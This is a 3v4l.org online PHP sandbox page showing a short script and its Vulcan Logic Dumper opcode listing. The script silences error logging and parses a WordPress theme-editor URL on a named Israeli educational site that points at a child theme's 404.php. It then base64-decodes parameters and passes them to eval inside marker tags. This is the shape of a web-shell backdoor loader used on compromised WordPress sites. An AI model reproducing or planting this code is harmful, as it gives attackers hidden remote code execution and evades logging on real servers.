3v4l.org

run code in 200+ php & hhvm versions
Bugs & Features
<?php ini_set('error_log', '/dev/null'); parse_str("http://hadshon.edu.gov.il/wp-admin/theme-editor.php?file=404.php&theme=wp-sparkler-child", $a); echo (reset($a)); echo count($a); # if (reset($a) == '12' && count($a) == 9) { echo '<3456>'; eval(base64_decode(str_replace(" ", "+", join(array_slice($a, count($a) - 3))))); echo '</3456>'; # } ?>
based on dZYcv
Finding entry points
Branch analysis from position: 0
Jump found. (Code = 62) Position 1 = -2
filename:       /in/OePqs
function name:  (null)
number of ops:  39
compiled vars:  !0 = $a
line     #* E I O op                           fetch          ext  return  operands
-------------------------------------------------------------------------------------
   1     0  E >   INIT_FCALL                                               'ini_set'
         1        SEND_VAL                                                 'error_log'
         2        SEND_VAL                                                 '%2Fdev%2Fnull'
         3        DO_ICALL                                                 
   2     4        INIT_FCALL                                               'parse_str'
         5        SEND_VAL                                                 'http%3A%2F%2Fhadshon.edu.gov.il%2Fwp-admin%2Ftheme-editor.php%3Ffile%3D404.php%26theme%3Dwp-sparkler-child'
         6        SEND_REF                                                 !0
         7        DO_ICALL                                                 
   3     8        INIT_FCALL                                               'reset'
         9        SEND_REF                                                 !0
        10        DO_ICALL                                         $3      
        11        ECHO                                                     $3
   4    12        INIT_FCALL                                               'count'
        13        SEND_VAR                                                 !0
        14        DO_ICALL                                         $4      
        15        ECHO                                                     $4
   6    16        ECHO                                                     '%3C3456%3E'
   7    17        INIT_FCALL                                               'base64_decode'
        18        INIT_FCALL                                               'str_replace'
        19        SEND_VAL                                                 '+'
        20        SEND_VAL                                                 '%2B'
        21        INIT_FCALL                                               'join'
        22        INIT_FCALL                                               'array_slice'
        23        SEND_VAR                                                 !0
        24        INIT_FCALL                                               'count'
        25        SEND_VAR                                                 !0
        26        DO_ICALL                                         $5      
        27        SUB                                              ~6      $5, 3
        28        SEND_VAL                                                 ~6
        29        DO_ICALL                                         $7      
        30        SEND_VAR                                                 $7
        31        DO_ICALL                                         $8      
        32        SEND_VAR                                                 $8
        33        DO_ICALL                                         $9      
        34        SEND_VAR                                                 $9
        35        DO_ICALL                                         $10     
        36        INCLUDE_OR_EVAL                                          $10, EVAL
   8    37        ECHO                                                     '%3C%2F3456%3E'
  10    38      > RETURN                                                   1

Generated using Vulcan Logic Dumper, using php 7.2.0